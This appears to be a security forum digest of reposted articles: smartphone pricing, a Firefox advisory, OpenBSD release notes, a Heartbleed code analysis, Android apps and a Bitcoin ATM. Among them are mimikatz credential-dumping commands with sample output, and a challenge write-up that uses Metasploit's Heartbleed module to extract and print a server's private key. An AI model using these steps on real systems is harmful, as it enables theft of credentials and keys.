ar trebui. Aici se lupt? companiile produc?toare s? vin? cu o mul?ime de variante de interfe?e de utilizare. Segmentul High-End sau “aici sunt banii dumneavostr?”. Smartphone-urile cu un pre? ce dep??e?te 2000 de lei, cele pe care le g?sim la lansare în jurul valorii de 3000-3400 lei, sunt cele la care aspir? to?i utilizatorii. Avem procesoare Quad-Core cu frecven?e de pân? la 2,5 GHz, 2 sau 3 GB memorie RAM, cea mai bun? conectivitate 4G LTE ?i memorie de stocare de 32-64 GB, care mai este ?i extensibil?. În acest segment intr? un iPhone, un HTC One M8, un Samsung Galaxy S5, un LG G2 sau LG G Pro 2, un Galaxy Note 3. Nu cred c? mai merit? men?ionat faptul c? pe aceste dispozitive avem o interfa?? similar?, cu toate op?iunile posibile, sunt compatibile ?i ruleaz? perfect orice joc din Google Play ?i asta e ?i normal. Acestea sunt dispozitivele în care s-a investit cel mai mult, atât ca proces de produc?ie cât ?i ca brand. Desigur, materialele din care sunt construite aceste dispozitive sunt unele premium, metal, aluminiu, piele fals? sau altele. Ecranul este protejat de cea mai nou? variant? de Gorilla Glass, sunt rezistente la c?z?turi sau la scufund?ri în ap?. Procesul de produc?ie La fel ca ?i la ma?ini, o mare parte din procesul de produc?ie dedicat smartphone-urilor scumpe este apoi folosit pentru a le produce pe cele mai ieftine. Marketing-ul se va duce îns? doar c?tre cele de top, acesta fiind ?i motivul pentru care la fiecare lansare de produs high-end auzim numai despre modelul scump, în reclame la TV, pe strad?, la cinema, în mall, în parc. Dac? acest smartphone va avea succes, cu siguran?? ?i celelalte modele mai ieftine ale companiei vor avea vânz?ri mai bune. În pre?ul unui smartphone high-end, sunt mai multe elemente ce trebuie luate în calcul. Avem procesul de cercetare ?i dezvoltare. Spre deosebire de un smartphone low-end, modelul de top st? mult mai mult timp pe masa designerilor pentru a fi cel mai bun. De la materiale la componente, form? ?i design, toate smartphone-urile high-end sunt tratate cu cea mai mare aten?ie. Dup? acest proces, urmeaz? cercetarea de pia??, care este mai am?nun?it? decât în cazul variantelor mai ieftine ?i mult mai agresiv?. Aici sunt implica?i anali?ti din diverse domenii, de multe ori de la agen?ii dedicate, ale c?ror cuno?tin?e sunt necesare pentru a determina dac? un produs va avea un succes sau nu. Materialele au un cost mai ridicat. Metalul sau aluminiul sunt materialele cel mai greu de prelucrat pentru smartphone-uri ?i, desigur, cele mai scumpe. Procesul actual de produc?ie pentru carcasa unui smartphone din aluminiu, cum este cazul lui HTC One M8 ?i a iPhone-ului, se realizeaz? prin ?lefuirea ?i g?urirea unui bloc de aluminiu. De aici ?i costul mai ridicat al produsului final. Pe lâng? materiale, avem cele mai puternice procesoare, cele mai fiabile dintre componente instalate, ?i cele mai performante display-uri. Acesta din urm? este cel mai scump element al unui smartphone. În cazul lui S5 ajunge la aproximativ 63 de dolari din totalul de 256 de dolari cu care este produs. Concluzie Devalorizarea unui produs electronic are loc din momentul în care acesta a ap?rut pe pia??. Pre?urile mai ridicate la început sunt menite s? acopere cheltuielile ini?iale de dezvoltare ?i pe cele de marketing aferente. De aici ?i motivul pentru care un smartphone cost? la lansare 3400 de lei, iar la câteva luni se g?se?te ?i la 2400 lei. Devalorizarea este cea mai resim?it? la produsele high-end, este unul dintre motivele pentru care nu se recomand? achizi?ia celui mai nou model, chiar în prima s?pt?mân? de la lansare. Ca r?spuns la întreb?rile de mai sus, situa?ia st? în felul urm?tor: nu exist? un singur r?spuns. E drept, un smarpthone high-end merit?, aproape din toate punctele de vedere. Totu?i, cel mai important este momentul achizi?iei. Clien?ii smartphone-ului high-end sunt de obicei tinerii, care urm?resc pia?a ?i care î?i permit aceste dispozitive ori sunt dispu?i la compromisuri pentru achizi?ie. Mai sunt mul?i utilizatori care le cump?r? doar pentru a face o declara?ie asupra statutului financiar, de?i poate nu le folosesc nici la jum?tate din capacitatea lor. Indiferent care v? este motivul, sfatul nostru este ca întotdeauna s? ave?i pu?in? r?bdare, pân? mai scade un pic pre?ul. Sursa: Î?i merit? oare pre?ul un smartphone High-End?

Firefox 29 fixes several critical flaws, including memory safety bugs Mozilla rolled out Firefox 29 on Tuesday, a huge overhaul that addresses 15 security vulnerabilities, six of which are deemed critical, meaning the bug could be used to run attack code and install software with no user interaction aside from normal browsing. The critical vulnerabilities included three use-after-free bugs in nsHostResolve, imgLoader, and Text Track Manager for HTML video; a privilege escalation issue through Web Notification API, and two memory safety flaws in the browser engine and other Mozilla-based products, an advisory from the company said. Of note, the memory safety bugs ( CVE-2014-1518 and CVE-2014-1519) could allow remote attackers to launch denial-of-service attacks against users, or execute arbitrary code through "unknown vectors," the company warned. Sursa: Firefox 29 fixes several critical flaws, including memory safety bugs - SC Magazine

[h=2]OpenBSD 5.5[/h]eleased May 1, 2014 Copyright 1997-2014, Theo de Raadt. ISBN 978-0-9881561-3-5 5.5 Song: "Wrap in Time" Order a CDROM from our ordering system. See the information on the FTP page for a list of mirror machines. Go to the pub/OpenBSD/5.5/ directory on one of the mirror sites. Briefly read the rest of this document. Have a look at the 5.5 errata page for a list of bugs and workarounds. See a detailed log of changes between the 5.4 and 5.5 releases. 5.5 base signify pubkey: RWRGy8gxk9N9314J0gh9U02lA7s8i6ITajJiNgxQOndvXvM5ZPX+nQ9h 5.5 fw signify pubkey: RWTdVOhdk5qyNktv0iGV6OpaVfogGxTYc1bbkaUhFlExmclYvpJR/opO 5.5 pkg signify pubkey: RWQQC1M9dhm/tja/ktitJs/QVI1kGTQr7W7jtUmdZ4uTp+4yZJ6RRHb5 All applicable copyrights and credits can be found in the applicable file sources found in the files src.tar.gz, sys.tar.gz, xenocara.tar.gz, or in the files fetched via ports.tar.gz. The distribution files used to build packages from the ports.tar.gz file are not included on the CDROM because of lack of space. [h=3]What's New[/h] This is a partial list of new features and systems included in OpenBSD 5.5. For a comprehensive list, see the changelog leading to 5.5. Sursa: OpenBSD 5.5

[h=1]mimikatz[/h] mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... Download: https://github.com/gentilkiwi/mimikatz/

[h=1]Heartbleed – How Did Internet Security Almost Bleed Out?[/h] vince_kornacki Today marks the one month anniversary of the devastating Heartbleed vulnerability. Specifically, one month ago today Google first notified the OpenSSL development team of the vulnerability. From the start CVE-2014-0160 was not just another software vulnerability. No, this one was big. A vulnerability of epic proportion. Who would've thought that a simple buffer over-read could threaten to undermine the security of the Internet? As you know by now, Heartbleed allows attackers to read 64KB of server memory. What exactly is contained in that 64KB of server memory? Well that's a little random. Depending on the location of the heartbeat payload within server memory, the leak could reveal cryptographic keys, usernames and passwords, email messages, and a multitude of other sensitive information. How could this possibly happen? Looking back, a series of cascading failures is to blame. Let's start with the TLS Heartbeat Extension protocol defined in RFC 6520. The TLS Heartbeat Extension protocol is designed to maintain and verify a TLS connection without the need to renegotiate the connection every time. The client sends heartbeat payload to the server, and the server responds with the exact same heartbeat payload in order to verify the connection. But why was the heartbeat payload designed as a variable length field? And why would the heartbeat payload possibly need to be a whopping 64KB in length? Wouldn't a fixed length field of 64 bytes have been more than sufficient? Or was the heartbeat payload designed to covertly transfer Tolstoy's War And Peace? Defining a fixed length heartbeat payload field of 64 bytes would've simplified the application code and likely prevented the Heartbleed vulnerability. Ironically the "Security Considerations" section of RFC 6520 states that "this document does not introduce any new security considerations." Oops. What about the programmers? OpenSSL development is "volunteer-driven", and is performed by a staff of eight programmers. The developers perform an incredible service to the Internet at large, providing critical software that is used to secure electronic commerce, financial transactions, and everything else that must be encrypted over the World Wide Web. Recently a consortium of more than a dozen major technology corporations consisting of Amazon, Cisco, Dell, Facebook, Fujitsu, Google, IBM, Intel, Microsoft, NetApp, Rackspace, Qualcomm and VMWare pledged $100,000 per year for the next three years to help fund open source projects such as OpenSSL. Will this help solve the problem? Yes. Will this solve the problem completely? No. Technology corporations boast an impressive stable of well-paid developers, yet critical vulnerabilities are still identified within commercial software at an alarming rate. As long as programmers are human, mistakes will be made and critical vulnerabilities will be introduced into application code. What about the programming language? Like many open source software components, OpenSSL is written in the C programming language. One of the reasons that the C programming language is so powerful is because of direct memory management. C memory allocation and pointers allow programmers incredible control over program execution. Unfortunately, these very same features make the C programming languages extremely dangerous. Common C programming mistakes can lead to critical vulnerabilities such as buffer overflows and, in the case of the Heartbleed vulnerability, buffer over-reads. What about the application code? The vulnerable code was introduced with OpenSSL 1.0.1 on March 14, 2012. Depending on whether TLS or DTLS was utilized, the vulnerable code was located within the "tls1_process_heartbeat()" function of the "t1_lib.c" file or the "dtls1_process_heartbeat()" function of the "dl_both.c" file, respectively. Let's consider the "tls1_process_heartbeat()" function of the vulnerable "t1_lib.c" file. The function is called with an SSL data structure passed by reference: 2437 tls1_process_heartbeat(SSL *s)Later the "p" variable is initialized as a pointer to the heartbeat request, and the purported payload length is read from "p" into "payload": 2446 n2s(p, payload);Note that the actual payload length is never verified. The next line initializes the "pl" variable as a pointer to the payload: 2447 pl = p;Later "pl" is copied into "bp", a pointer to "buffer": 2469 memcpy(bp, pl, payload);Finally "3 + payload + padding" bytes of "buffer" are transmitted to the client: 2474 r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);Because the actual length of the payload received from the client is never verified, the client can send a single byte of payload but specify a payload length of 65,536 bytes, triggering the Heartbleed vulnerability and leaking 65,535 bytes of data stored within server memory. RFC 6520 actually states that the payload length must not exceed 2^14 bytes, but the payload length is stored in a 16-bit integer and this restriction is not enforced, so 2^16 bytes can be extracted from server memory. Worse yet, in order to improve performance OpenSSL developers utilized a custom freelist implementation instead of the standard "malloc()" and "free()" memory allocation functions. Consequently, the memory returned by the server is more likely to contain sensitive information. The patched version of the previously vulnerable "t1_lib.c" file adds proper bounds checking in order to prevent the buffer over-read and therefore eliminate the Heartbleed vulnerability. If the actual length of the payload received from the client is greater than the purported payload length, the heartbeat response is not sent: 2601 if (1 + 2 + payload + 16 > s->s3->rrec.length) 2602 return 0; /* silently discard per RFC 6520 sec. 4 */ What about disclosure? What a mess! According to the timeline compiled by Fairfax Media, Google first identified the Heartbleed vulnerability on or before March 21. However, Google did not report Heartbleed to the OpenSSL development team until April 1. Heartbleed was next identified by Finland's Codenomicon on April 2. However, Codenomicon did not report Heartbleed to the OpenSSL development team until April 7, although Codenomicon did report the vulnerability to the National Cyber Security Centre Finland on April 3. Upon learning that a second researcher had identified the Heartbleed vulnerability, the OpenSSL development team released a security advisory and patched software later the same day. In between the initial Google discovery on March 21 and the patched software released on April 7, several companies including Google, Facebook, and Akamai were notified of the vulnerability and shrewdly disabled the TLS Heartbeat Extension. However, other companies including Cisco, Yahoo, and Twitter were not notified and therefore were unable to disable the TLS Heartbeat Extension. Who else knew about the Heartbleed vulnerability since it was introduced with OpenSSL 1.0.1 on March 14, 2012? How did two separate researchers identify Heartbleed 12 days apart after the vulnerability lingered within the OpenSSL code for over two years? Why the bumpy vulnerability disclosure timeline? Suffice it to say that the Heartbleed vulnerability did not set the standard for responsible vulnerability disclosure. What about security awareness? Finally a bright spot! On April 5, Codenomicon purchased the Heartbleed.com domain, where it published details regarding the vulnerability on April 7. The information was thorough and well written, and the clever Heartbleed logo resonated with the media and Internet users alike: The Hearbleed vulnerabilty was all over the news. Sites like Wikipeida and XKCD did a fantastic job explaining the vulnerability to non-technical Internet users. Mashable compiled a list of passwords that needed to be changed immediately. And a myriad of sites allowed you to test arbitrary servers for the presence of the Heartbleed vulnerability. All things considered, Heartbleed security awarenesss was handled in an exemplary manner. So what now? Can we guarantee that Hearbleed will never happen again? No. Application code is still written by humans, so mistakes will be made. They are inevitable. However, it is crucial that the technology industry learns from Heartbleed in order to improve processes surrounding protocol design, software development, and vulnerabilty disclosure. Only then can the technology industry stop a series of casccading failures from resulting in another devastating security vulnerability. Sursa: Heartbleed – How Did Internet Security Almost Bleed Out? | Symantec Connect Community

[h=1]Malware Sample Sources for Researchers[/h] Malware researchers have the need to collect malware samples to research threat techniques and develop defenses. Researchers can collect such samples using honeypots. They can also download samples from known malicious URLs. They can also obtain malware samples from the following sources: Contagio Malware Dump: Free; password required KernelMode.info: Free; registration required Malshare: Free Malware.lu's AVCaesar: Free; registration required MalwareBlacklist: Free; registration required Malwr: Free; registration required NovCon Twitter EXE Parsing: Free; provides links to live sites; may include benign files NovCon Twitter EXE Parsing: Free; provides links to potentially-malicious executables shared on Twitter Open Malware: Free SecuBox Labs: Free Virusign: Free VirusShare: Free Be careful not to infect yourself when accessing and experimenting with malicious software! Thanks to Mila for outlining many of these sources in her blog posting on the topic. My other lists of on-line security resources outline Automated Malware Analysis Services and On-Line Tools for Malicious Website Lookups. Sursa: Malware Sample Sources for Researchers

Tool to generate ROP gadgets for ARM, x86, MIPS and PPC [h=1]xrop[/h] xrop is a simple tool to generate ROP gadgets. It supports PE, ELF, Mach-O and perhaps other executable formats. It uses the libxdisasm library and currently supports generating ROP gadgets for x86, x86_64, arm, and soon ppc and mips. Download: https://github.com/acama/xrop

The Best Android Security Apps April 28, 2014 Serge Malenkovich Security is not just anti-malware protection. As a concept, mobile security is comprised of privacy features, permission restrictions for too nosy applications, a backup capability in case your smartphone gets broken, a blacklist for undesirable calls, as well as encryption and parental control functionalities. Android is a very flexible OS, and all these challenges can be well dealt with if you choose the right security app from Google Play. Yet there is an abundance of suitable options, so we decided to help you by making a short list of the best security applications. App Lock Password-enabled security of apps and multimedia Free / Premium Almost all apps on a smartphone behave as if any person who lays hands on the device is the rightful owner. Yet this is not true. A friend could take your phone “just to check out what’s there”, children would use it to play, and colleagues and relatives – just to stick their noses into it out of sheer interest. In the two latter cases, a graphic security code or PIN lock could help, but when you give the device to a friend or a child, you ought to unblock it anyway. So, all your private data, in this case, is likely to be exposed in a couple of clicks. App Lock solves this problem by creating a list of protected applications. On launching them, one must enter an additional security code. Moreover, you can store some private photos and videos in a media gallery secured by a password, and leave all the rest in the ordinary folder. For the most paranoid users, App Lock is able to hide itself from view, and in that case, the app settings are activated only via a secret dialing code. App Ops Revoke application’s permissions Free On installing any application, Android notifies you which permissions are required. If you happen to find out that the new “live wallpaper” needs to access your contact list for text messaging (by the way, this is a very bad sign, and in this case, you’d better not install it), you have no other choice than to either accept the negative consequences or abort the installation. However, an increasing number of apps require more “extra” permissions. It just so happens, however, that Google has a tool to selectively revoke permissions from already installed applications. This feature was immediately available in Android 4.3 and is called App Ops. Unfortunately, in V4.4.2 it was taken away. App Ops simply offers access to Google’s setting screen where you can restrict any app’s access to the contact list, user’s geolocation, and so on. For Android 4.4.2 and later, unfortunately, App Ops functionality requires root access. For Android versions below 4.3, App Ops is not available, but the LBE Privacy Guard app offers a comparable set of features. #Android‘s hidden function: to revoke permissions from already installed apps. You can, for instance, disable GPS tracking via an app. EDS Smartphone data encryption $8 For those who have to store confidential documents on a smartphone, locking apps like App Lock or PIN codes are not enough to secure the data. With Android 3.0 and later versions, the operating system offers capabilities to encrypt all data stored on a smartphone. The process serves to ensure maximum security of the data, but a full-fledged password is required every time one wants to use the smartphone otherwise, the very approach is of no use at all. It is quite a tedious job to enter a password 50 times a day, so there is an alternative: to encrypt only the most sensitive data. Applications like EDS are a suitable option. It creates a container file in the smartphone’s memory and securely encrypts the content. Storing a file in such a container ensures it is not accessed by anyone but you. EDS has two modes. The simpler of them presupposes fully manual operation of the container. The more advanced mode requires root access: in this case, an encrypted container, when in operation, is treated as a removable storage drive. When saving a file to that storage, you automatically encrypt it. An important side note: EDS containers are compatible with the TrueCrypt desktop app, simplifying the data exchange between systems. This app is recommended for end users, whereas enterprises and corporate users are required to install a special MDM solution, providing a holistic approach to mobile security. Funamo Parental Control Parental control over teenage users $20 per device A parental control app should operate differently, depending on the age of a child. For teenagers, the most suitable model functions as follows: the device is constantly possessed by the child, with parents setting a series of specific limitations, for example, denying access to porn web sites or setting a maximum duration time for mobile gaming. Google Play offers a dozen such applications, but many of them are not fully functional due to various reasons. Funamo Parental Control works as expected: it enables web site block via certain keywords, restrictions toward in-game purchases, compulsory Safe Search capability on Google, Bing and Yahoo; limitations to certain app launches (based on time of the day, gameplay duration, etc.). A parent can use a remote monitoring functionality (GPS location, text message reading, Web site history, etc.) via Web console. The major drawback of the app is the absence of category filtering (violence, politics, porn, etc.), while this capability is available in the Windows version of Kaspersky Internet Security and Kaspersky Safe Browser. On a side note, discreet monitoring is impossible, as the app always shows the icon in the notifications panel. So, parents should discuss the matter with their kids and establish mutually accepted rules of phone use. Gallery Lock Hiding a part of multimedia gallery Free/Premium Disclaimer: this application and those like it are not yet stable for Android 4.4 (KitKat). V4.4 users are recommended to backup their photos and check with caution, whether the Hide/Show function works correctly. Almost half of smartphone galleries store photos which are not intended for public use. A simple way to hide them without deletion is Gallery Lock. Selected shots are deleted from the default gallery and are stored in a special, password-protected gallery. The most reserved users can enable a “stealth’ function which is designed to hide the Gallery Lock icon and open the hidden gallery by a secret digit code in the Phone application. For those who would like to hide the contact list, calls, and messages as well, there is a special capability within Kaspersky Internet Security for Android. Kaspersky Internet Security for Android Anti-theft, anti-virus protection protecting a smartphone against fraud and tactless friends Free/Premium Of course, Kaspersky Internet Security for Android is designed to protect you against mobile viruses and dangerous web sites (phish web sites, for instance), but that is not the only good thing about it. Even the free version is equipped with a number of anti-theft capabilities. One can locate a forgotten smartphone by launching a buzzer, or remotely lock it and wipe up the data, or locate it via GPS, or take a photo of the person who found (or stole) it. Moreover, one can hide certain contacts from the contact list or text messages, making this communication stealth for those who happened to access the smartphone. There is also a blacklist functionality preventing certain people from making undesired phone calls or sending messages to you. Speaking of malware, we should note recent independent testing proved that Kaspersky Internet Security for Android showed a 100% level of security against malicious apps (which account for over 100,000 for just Android and only for Q1 2014). Kids Place Child mode on a smartphone Free The name of the application includes the “parental control” reference, but it is only partially so. It would be fairer to talk about the “child mode”, which is applied when a smartphone is voluntarily given to a child. In the “child” mode, the smartphone is not allowed to launch any apps except those which are included on a white list; it is not dialing phone numbers or accepting incoming calls and is restricting purchase and installation of new apps. That means: yes for gaming, no for using. Profit! LastPass Password manager Free / $12 a year A multiplatform password manager which enables a single cloud database for both PC and smartphone. Disabling advertising and getting access to additional features requires a purchase of the annual license. With LastPass, a user may access each web site via a unique and complex password, not overstretching one’s memorizing abilities. Compared to competitors, LastPass is attractive due to its two-factor authentication, which is ran on the launch of the app itself. My Backup Smartphone backup Free/Premium Whereas the backup capability is partially enabled in Android by default, and, provided you handled all the settings correctly, you won’t lose any contacts or apps no matter what happens. However, when setting up a new phone, you would have to go through the tedious process of re-setting everything; for example, placing necessary icons onto a screen. Also, some data, including call log and conversation history, is not included in the backup copy. The MyBackup app is trying to backup (and restore) every single part of your system: playlists, Wi-Fi hotspot names, autocorrect glossaries on a keyboard, application settings, etc. The copy can either be saved onto an SD card or the My Backup cloud storage. A number of features require root access. If compared to the renowned Titanium Backup, this app provides better functionality in “non-rooted” mode. Orbot Tor Project for Android Free Thanks to Edward Snowden’s revelations, the Tor Project and other tools for anonymizing one’s Internet presence gained significant popularity last year. Android flexibility allows the implementation of a Tor proxy on a smartphone, and Orbot does exactly this. After a simple setup, any app installed on a smartphone can connect to the Internet via a chain of “onion routers”, making the owner’s communications very hard to trace. The only condition is an application’s ability to work via a proxy server. In addition, Orbot developers suggest a number of privacy-friendly apps already optimized for Tor: a private browser, Orweb; a search app, DuckDuckGo; etc. Sursa: Applications to Secure your Android Smartphone | We use words to save the world | Kaspersky Lab Official Blog

Meet your Bitcoin ATM: Digital currency craze hits Seattle, with help from startup vets by Taylor Soper on 5/1/2014 at 6:00 am The city’s first-ever Bitcoin ATM went live today at the Spitfire Grill in Belltown, allowing people to make secure transactions with the volatile cryptocurrency that has been making headlines for the past year or so. The ATM, open seven days a week from 11 a.m. to 10 p.m., scans your palm and allows you to exchange cash for Bitcoin, or do the reverse. Customers can make up to $3,000 worth of Bitcoin exchanges per day. The machine is manufactured by Las Vegas-based Robocoin, which also built the world’s first Bitcoin ATM that was installed in Vancouver, B.C., this past October. It is operated by Coinme, a new Seattle company that will manage the kiosk and take a small fee for every transaction made on the ATM. Coinme General Manager Nick Hughes, who previously co-founded a mobile payments startup called Seconds, told GeekWire that the inspiration for starting Coinme came out of a frustration from the lack of accountability and authenticity in the digital currency industry. Coinme wants to help people make secure transactions with Bitcoin and educate them on what cryptocurrency is really all about. “If people are going to understand what Bitcoin is, they need to touch it and feel it in a safe and secure manner,” Hughes said. Hughes added that the ATM is a better way for people to buy and sell Bitcoin compared to existing methods. “It’s a heck of a lot faster and safer, and more secure than utilizing some sort of exchange,” he said. If you aren’t familiar with Bitcoin, it’s the emerging decentralized, digital currency gaining popularity and acceptance as of late. Right now, one Bitcoin is worth about $450. That number skyrocketed past $1,000 in November, but eventually came back down amid security concerns. Some companies have shown enthusiasm for Bitcoin, while others like Amazon are staying far away from it. Overstock.com, the Salt Lake City-based online retailer, said in March that it took just over two months to sell more than $1 million in products to Bitcoin owners. Nick Hughes More recently, Bloomberg offered its stamp of approval after announcing this week that it would list Bitcoin on its financial data terminals. Then on Tuesday, the MIT Bitcoin club said it raised $500,000 to give every undergraduate student $100 worth of Bitcoin as a way to spread awareness about the digital currency and have on-campus businesses accept it. That’s a similar goal of Coinme, which is backed by angel investors in Seattle and plans to hold monthly Bitcoin Meetups with industry experts as part of an overall mission to teach the public about Bitcoin. “People need to be able to talk about this and be educated about it,” Hughes said. “They need to hear about the risk and rewards from credible people.” Even though there are already three existing Robocoin ATMs in California and Texas — in addition to 10 others around the world — Coinme claims it has the nation’s first licensed Bitcoin ATM. Coinme Compliance Officer Neil Bergquist worked closely with state and federal regulators to make sure that transactions on the ATM would be compliant with existing money transmitter laws. With their new endeavor, Hughes and Bergquist say they aren’t necessarily all-in about the future of Bitcoin, but rather the digital currency industry in general. “The fact is, cryptocurrency is here to stay,” Hughes said. “We don’t know what the name of it will be specifically, but our bet is on the future of digital currency.” “We’re just led by curiosity,” added Bergquist, who is separately the director of Seattle’s SURF Incubator. “We want to see where this goes and it’s really a pursuit of knowledge. We’re learning as much as anyone else.” Hughes said that Coinme, which works out of SURF, plans to unveil more Bitcoin ATMs in the Seattle region soon. The company picked Spitfire as its launch location based primarily on accessibility. “Belltown is fairly central in Seattle and Spitfire is well known in the tech industry,” Hughes said. “They are also open for a long period of time, which will make the machine available throughout the day and night.” You can check out the new Bitcoin ATM at today’s launch party, which will feature a Bitcoin expert panel. Here’s an infographic explaining what Bitcoin is all about and how to use the new ATM. Sursa: Meet your Bitcoin ATM: Digital currency craze hits Seattle, with help from startup vets - GeekWire

[h=2]“A Post-Mortem on Heartbleed" webcast - challenge solved[/h] I hope this is the right place to post this. Last week Qualys presented on a webcast: “A Post-Mortem on Heartbleed - What Worked and What Didn't: Real-world case study on how the State of Colorado responded to this critical vulnerability.” https://www.qualys.com/forms/webcasts/heartbleed/?leadsource=17265983 For this presentation they stood up a website that is vulnerable to the Heartbleed bug and put out a challenge to get the private keys, the encrypted file, and decrypt the file for a prize. Here are the steps I used to get that prize. Go to the website and register to login and get the "secret file" --note: don't use a real username or password because it can be visible while exploiting the bug. Register @ https://hbdemo.kandek.com/ After registering to the site and logging in I was able to download the “Secret” encrypted file and save it locally for use later. Download https://hbdemo.kandek.com/supersecret.txt.enc Next we move on to exploiting the vulnerability in the site. using metasploit-framework on ubuntu 12.04 > sudo ./msfconsole > use auxiliary/scanner/ssl/openssl_heartbleed > set RHOSTS hbdemo.kandek.com > set RPORT 443 > set VERBOSITY true > set ACTION KEYS > run In only a few seconds I had my answer. -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAsJVkN8MW8jpjLwz8YwWMk+Xhvk6Dz/0neLkAXZFAmtgnZsKy NOHotstIlp5+ehf1Skf+WdrKLvATe8RpG7IOtvkO/gQnOnGT6nefNMRQG8Riw0MS OpFUdNwLrXQnptStDtBTUFq+cY8w1ChRw4PBDjLq/3sKdSxARYDiZNUJ0RlXKfJk DlXi1JEOICvsoYuY7Z5CjHjy2rMck+Xu0d5L0KWGcqGNsdjdtE/NhhOzsvXq/n8T aPySSfHL5Xh9B9LsAb2evOV8t9bs2l7ASU76/sLTho8VFb9pohluHwGmWQuGaIpx E/ZjheV4XW2cGiJmf79ccwcjdz8plzWGd66gkQIDAQABAoIBAE5enxHYdbCflTFm lATmi5OALQYnFn0Sn5gGk1DzjDasxB/pPOoXcQ7ffaHLSdqqE2UaOppqbd0TE7KU Ywm1pq4yLyMxeK+JhNpEqNXkYqFQMXzzoX14zoDmwBAFQyvZq8ytTKyW+Xqw0Dz4 gAFD0kSY+I7Wbre+IfA22UNjAW5ZEcyU1JGDmPBVVfGMaa00Fhx0ixvANKKL9V3d biGomBS5Qm59s5f+dx7KmarzZ8JmaDttEYpcIllRR1cM+jtzsRvo8hB3nDAA6EFg v94ltqJ/1IcHxrLyax6+PMKJz+CCVm4Nhs2u+FsoSORuv82tcEoBYg3ZB6uLAeWp ad3p5DkCgYEA36viOCA3pvKl+FY2YaA2CkH9Tp+/fKTgbxX/FthpfS7VYvbzZWt1 +FhBxUDvCbBm18mDqYJ+tMk54Ku6ykFSAnX0LYWx0tDo9/m8P9oOYRjXP0tjqOhm UqtqP8YrrqiSjpNp1EbuCkFUgU0On+s4vdrF8v2OmehDzCglF/d9uw8CgYEAyhsz CHCE+nzx+6iHKV1q3OkuOHNSo7CQMSngMJQFhgIbapVuqaRQs8dP6orpdYUH1+vv l/RrISNkCO+8Plz5c9am3sgcwabhWb1wBeR05IhovqWPLlTf24IWf0vW/B9aDIw7 3zlPe2GbBBV2IYPxFmdiZUIvERiqlwHchk5Oal8CgYEA0MxJCrHwodWkX/ZDH9GK gPrnN41jGT1lEe5LygzONQESTCdSQZwWbXYeN8CNJNNavhgs44GhPK0YbYaCgaqG nytzfUdwH+fLgynLtSOfBr9EuJ5s81G3q3a/YbdiMdLFtXkhcvuf3UztUSMZAup3 dqwS2+odQ8mR+LSFJCFyarsCgYEAkaQWG3/SJBwD2SEx/XoHNxiGKUHZjIIA9pzB pOAWNuKv1RfIPlFdop//k/n0kK6D33JzHuKQjLnPLa1sztf7HyHQ8HvuVRKoFB4y atyd683tBW2TB4U8KBfPlH4Xd2o0XxRzVMIc58GHjuLUVQSaqFVqD6Qo/L30uIsr 2lD1qysCgYAUqmsr5eMl0VgM7ACvKPwQNMzZzA+1mj6ijWMGDMzKKPwHtK+avIw4 fvTj88CJ43gvv6tN+zXtJrUHPEN6rgR/FSyrnVjXbb8+PuYfl15zpBrW5weNrcMV AlCn+Q7FcVTbZkHfZ1SoA7HG3hZfnRRMPBwjEMOQb9NPRlM2WqKZNw== -----END RSA PRIVATE KEY----- save file as hbdemo.key Now decrypt the secret file using the private key. > cat supersecret.txt.enc | openssl rsautl -decrypt -inkey hbdemo.key results: > Darth Vader is Luke's father. The next part was funny, I didn't remember where they said to send the answer to so I reached out to people I know to ask if they knew Wolfgang and I was able to get his phone number. On his voice mail I was able to get his email address and that is where I sent the answer to. I also posted out to twitter and he responded to me with his email (but I had already send the answer by that time). I just want to say thank you to Wolfgang and the Qualys team for doing the webcast and adding a challenge to it also. It made it interactive and fun. I hope they do this more in future webcasts. Author: jcheuvront Sursa: https://community.qualys.com/message/22793#22793